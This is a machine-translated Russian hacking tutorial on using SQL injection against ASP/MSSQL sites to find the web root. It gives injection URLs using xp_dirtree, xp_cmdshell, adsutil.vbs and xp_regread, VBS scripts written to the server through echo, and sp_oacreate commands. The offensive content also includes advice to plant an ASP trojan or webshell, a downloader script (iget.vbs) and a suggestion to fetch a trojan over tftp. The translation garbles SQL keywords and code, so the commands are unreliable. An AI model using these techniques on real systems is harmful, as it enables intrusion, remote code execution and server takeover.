SQL-инъекция для получения полного пути к веб-сайту
Если на сайте всего 80 портов, вы найдёте следующие методы более полезными
Почти все используемые методы не совпадают с тем, что я обнаружил, и статья всегда включает личный опыт и навыки при введении инъекций
Существует 4 метода (ныне известны)
Первый метод:
Это <怪异的SQL注入>метод, введённый в < >
Используя xp_dirtree sqlserver, давайте сначала поговорим о методе, а затем о его преимуществах и недостатках (некоторые дополнения внесены на основе оригинального текста)
Создание таблиц
Заявление:http://www.xxxxx.com/down/list.asp?id=1;create Таблица директоров (Paths varchar(1000))--
Назад: Обычная информация! Это значит, что таблица успешно создана! Продолжай!
(Сборка немного больше оригинала, потому что я наткнулся на файл с длинным именем и удалил ID, потому что он бесполезен)
Заявление:http://www.xxxxx.com/down/list.asp?id=1;insert Директор исполнительного master.dbo.xp_dirtree 'C:\' --
Возвраты: обычная информация. Это значит, что все каталоги, записанные на диск C, работают успешно! Классно! Следующий шаг — получить счётчик! Наруши её и выйди. (Похоже, есть только один способ сделать это)
Заявление:http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из директоров)-
Возвраты: Microsoft OLE DB Provider for SQL Server ошибка 80040e07
Синтаксическая ошибка возникает при преобразовании значения варчара '@Inetpub' в столбец с типом данных int.
Затем имена каталогов в таблице поочередно вырываются!
Заявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из
Где пути не входят в ('@Inetpub'))--
Возвраты: Microsoft OLE DB Provider for SQL Server ошибка 80040e07
Синтаксическая ошибка возникала при преобразовании значения varchar 'test' в столбец с типом данных int.
Затем имена каталогов в таблице поочередно вырываются!
Ладно, продолжим
Заявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из
режиссёры, где пути не входят в ('@Inetpub','тест'))--
Возвраты: Microsoft OLE DB Provider for SQL Server ошибка 80040e07
Синтаксическая ошибка возникает при преобразовании значения варчара 'хаха' в столбец с типом данных int.
Затем имена каталогов в таблице поочередно вырываются!
Ладно, ты должен знать, как это делать, ха-ха, просто добавь название стола, который получишь, в скобки, добавь сколько хочешь,
Небольшой трюк:
Иногда такое бывает, когда вход похож
http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из директоров)-
Вместо отображения ошибки веб-страница отображается нормально
Диззи, не нервничай.
Посмотрите на 0<> (выберите верхний 1 путь из директоров), чтобы показать, что возврат — это число,
Ха-ха, попробуй и посмотри, сколько это стоит.
100> (выберите топ-1 маршрут из директоров)
Возвращение к норме
Ха-ха, с таким способом можно быстро догадаться — больше или меньше
Ладно, продолжим
Например, когда он появляется
59=(выберите топ-1 путь из директоров)
Вернуться к нормальному состоянию,
Ладно, имя — 59
Входите следующим образом
http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из
Директоры, где пути не в ('59'))--
Не забудьте поставить кавычки
Следующий метод совпадает с оригиналом
Есть ещё одна проблема
Иногда, когда я вводя 59 с помощью вышеуказанного метода, я замечаю, что следующая папка всё равно остаётся 59
Что происходит?
Хе-хе, не знаю, заметили ли вы, что 059 и 59 — это одно и то же?
Вот почему, ха-ха,
http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из
директоры, где пути не в ('059'))--
Я обнаружил, что имя следующей папки отображается, ок.
Анализ преимуществ и недостатков:
Преимущество в том, что все пользователи sqlserver могут им пользоваться, потому что xp_dirtree применяет разрешение PUBLIC,
Недостаток в том, что в каталоге отображаются имена всех папок, и расположение не в порядке, короче говоря, сложно найти нужную папку среди тысяч или десятков тысяч папок.
И вы знаете, что наличие этой папки не гарантировано в корневой директории, а это действительно мучительно, часто всё зависит от удачи и выносливости.
Желаю тебе успеха
Метод 2:
Используйте xp_cmdshell
Ха-ха, всем, наверное, это знакомо, позвольте сказать вкратце
Создание таблиц
Заявление:http://www.xxxxx.com/down/list.asp?id=1;create Таблица директоров (Paths varchar(1000))--
Назад: Обычная информация! Это значит, что таблица успешно создана! Продолжай!
(Тот, что был собран, немного больше оригинала, потому что я наткнулся на файл с длинным названием и удалил этот идентификатор, потому что он бесполезен.)
Заявление:http://www.xxxxx.com/down/list.asp?id=1;insertдиректор исполнительного master.dbo.xp_cmdshell 'режиссура C:\ /B/D' --
Возвраты: обычная информация. Это значит, что все каталоги, записанные на диск C, работают успешно! дирижёр c:\ /B/D здесь используется, ха-ха, если вы не знаете, что делает /B/D, попробуйте посмотреть, что он делает
Заявление:http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из директоров)-
Возвраты: Microsoft OLE DB Provider for SQL Server ошибка 80040e07
Синтаксическая ошибка возникает при преобразовании значения варчара '@Inetpub' в столбец с типом данных int.
Затем имена каталогов в таблице поочередно вырываются!
Заявление:http:// http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите топ-1 путь из
Где пути не входят в ('@Inetpub'))--
Возвраты: Microsoft OLE DB Provider for SQL Server ошибка 80040e07
Синтаксическая ошибка возникала при преобразовании значения varchar 'test' в столбец с типом данных int.
Затем имена каталогов в таблице поочередно вырываются!
Метод такой же, как и выше, поэтому я не буду об этом говорить
Иногда можно сделать что-то с двумя следующими расширениями
1) Мы можем воспользоваться xp_availablemedia, чтобы получить все текущие диски и сохранить их в таблице директоров:
5 ; вставьте директоров exec master.dbo.xp_availablemedia; --
Мы можем получить список дисков и сопутствующую информацию, запросив содержимое temp
(2) Мы можем использовать xp_subdirs для получения списка подкаталогов и хранения их в таблице dirs:
5 ; вставить в DIRS exec master.dbo.xp_subdirs 'c:\' ; --
Анализ преимуществ и недостатков:
Очевидно, что это не xp_dirtree ситуации, когда все каталоги собраны вместе, будет отображаться только каталог первого уровня, который гораздо проще найти.
Недостатки тоже очевидны: только SA имеет такое разрешение, и возможно, что администратор удалил это расширение (в конце концов, оно слишком мощное).
Метод 3:
Такой подход хорош
Ниже приведён оригинальный текст
Думал воспользоваться программой adsutil.vbs, которую запустил
a'; Исполнительный мастер... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Разве это не длинно? Благодаря этому мы можем создать первый виртуальный сайт в IIS (включая сам каталог, где он расположен, конечно)
Импорт в a.txt
По умолчанию фактическое местоположение a.txt — c:\winnt\system32, что на самом деле не проблема, но при встрече с администратором, который устанавливает adsutil.vbs
Удалите или положите в другое место
Мы ничего не можем с этим поделать (вы не можете написать его с помощью команды эхо)
Шаг 2: Используйте команду echo, чтобы написать следующий код в c:\, что немного
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
Set fso1=CreateObject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процесс"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Делайте, пока не fil.atendofstream
nr=fil.readline
если left(nr,4)= «Путь», то
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
Выйдите
конец, если
Петля
Set fil1 =fso1.opentextfile(PA &"\dd.asp",2,true)
fil1.writeline ""
---------------Режьте здесь-------------------------------------
Шаг 3: Конечно, нужно запустить read.vbs, чтобы мы могли читать контент в aa.txt и находить реальный путь к сайту
Затем напишите файл под названием dd.asp в корневой директории сайта, и вы поймёте, сможете ли успешно попробовать
исполнятьhttp://x.x.x.x/dd.asp
Возвраты: \xxx
Ха-ха, это хороший способ,
Однако оригинальный текст, похоже, имеет некоторые проблемы
Так и есть
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Ошибка возникает, когда подаются два предложения
Поэтому мы придумали плюс, который выполняет ту же функцию, что и &
И о чём писать dd.asp? Пиши папе, ха-ха
Ха-ха, я поменял
-------------------read.vbs---------------------------------
Set fso1=CreateObject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процесс"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
Делайте, пока не fil.atendofstream
nr=fil.readline
если left(nr,4)= «Путь», то
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
Выйдите
конец, если
Петля
set fil1 =fso1.opentextfile(PA "\dd.asp",2,true)
fil1.writeline pa
---------------Режьте здесь--------------------------------------
Поскольку номер времени преобразуется в пробел при отправке в браузере, также стоит установить
Это становится %2B, хорошо, должно быть нормально, следующим образом
-------------------read.vbs---------------------------------
Set fso1=CreateObject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("процесс"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Делайте, пока не fil.atendofstream
nr=fil.readline
если left(nr,4)= «Путь», то
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,"-3)
Выйдите
конец, если
Петля
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Режьте здесь--------------------------------------
Если мы обнаружим, что единица отсутствует, мы можем стать 2, 3, 4...........
a'; Исполнительный мастер... xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Но этот метод можно использовать только в Windows 2000, потому что адреса новых сайтов под 2003 не расположены по 1234, он, кажется, генерируется случайным образом, и я сравнил несколько из них под 2003
адреса, никаких закономерностей не обнаружено.
Анализ преимуществ и недостатков:
То же самое xp_cmdshell Не каждый пользователь может им пользоваться! Ещё одна проблема в том, что файл adsutil не обязательно существует или не обязательно находится на этом пути, хотя вы можете использовать его, если планируете
Echo пишет один (ха-ха, старый и старый), и другой вопрос: что если на хостинге много сайтов? Я встречал хозяина с девятью сайтами, и только восьмой полезен
Да, слабо, трудно кому-то хватит терпения так упорно продолжать, может, всё уже давно рухнуло. Кроме того, его нельзя использовать в 2003 году!
Но, если честно, этот метод действительно хороший
Метод 4:
Этот метод заключается в чтении пути из реестра через xp_regread и так далее
Для получения пути к веб-странице рекомендуется следующее (читать реестр через хранящиеся процедуры):
Используйте встроенный сохранённый xp_regread процедуры (прочитать ключ реестра, разрешение публичное):
Заявление: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Объявить@test
Варчар (20) исполнительный мастер... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , значения=@test OUTPUT вставить в пути
(путь) ценности(@test)
Путь по умолчанию IIS в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Используйте поле burst, чтобы прочитать значение базы данных:
Утверждение: http://www.xxx.com/list.asp?classid=1 и 0<>(выберите топ-1 путь из newtable)--return: Microsoft OLE DB Provider for
Ошибка драйверов ODBC 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] преобразует значение varchar E:\www,,201 в тип данных int
Колонка.
Это значит, что каталог веб-страниц находится в E:\www, и вы также можете использовать FSO для записи напрямую на ASP-троян
Что если вы не можете получить веб-каталог? Вам нужно угадать, использует ли сайт стандартный WEB или доменное имя в качестве WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'
Создайте виртуальный каталог E под стандартным ВЕБ-сайтом, указывая на E: под диском.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Полезно добавлять атрибуты серфинга в виртуальный каталог, например. Откройте виртуальный сервис для себя. Думая об этих путях к каталогам веб-страниц, у меня почти разбивается голова. Теперь я открыл глаза. Это та самая WEBSHELL, которая использует Microsoft
SQL — это конец нашей работы, и следующая работа должна быть вашей.
Ха-ха, метод хороший, прочитайте через регистрационную форму, удобно и быстро!
Анализ преимуществ и недостатков:
Преимущество, конечно, в том, что это удобно и быстро. Минус в том, что вы видите только путь стандартного сайта IIS, и если он уже не стандартный, то ничего нельзя сделать (я отслеживал с помощью regsnape), если он ниже 2003 года
То есть даже стандартный путь к сайту не отображается! В боли
Кстати, есть и другие способы продолжить вторжение, кроме поиска пути к сайту, например, загрузить bounce trojan через tftp или написать iget.vbs, чтобы скачать нужный вам dongdong
Код iget.vbs выглядит следующим образом:
---------Старт----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Поток»
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------конец-----------
Дополнение к этой статье:
Недавно я обнаружил, что моё понимание инструкций председателя Мао было недостаточно глубоким, и хотел бы добавить
На самом деле, вышеуказанные методы совсем не нужно сравнивать, xp_dirtree они лучшие, если этого метода достаточно
Это просто потому, что я был слишком ..............
Сегодня я снова раскрою секрет xp_dirtree
Хорошо, давайте расскажем о исполнительном мастере: xp_dirtree'd:/test'
Допустим, у нас есть две папки в test1 и test2, а в test1 — test3
Результаты показывают
Глубина подкаталога
test1 1
test3 2
test2 1
Ха-ха, я понял, что в серии каталога нет глубины
Ладно, знаешь, что делать
http://www.xxxxx.com/down/list.asp?id=1;create Таблица директоров (Paths Varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Директор исполнительного master.dbo.xp_dirtree 'Д:\' --
http://www.xxxxx.com/down/list.asp?id=1 и 0<>(выберите верхний 1 путь из директоров, где id=1)-
Пока добавляется id=1, это директория первого уровня.
|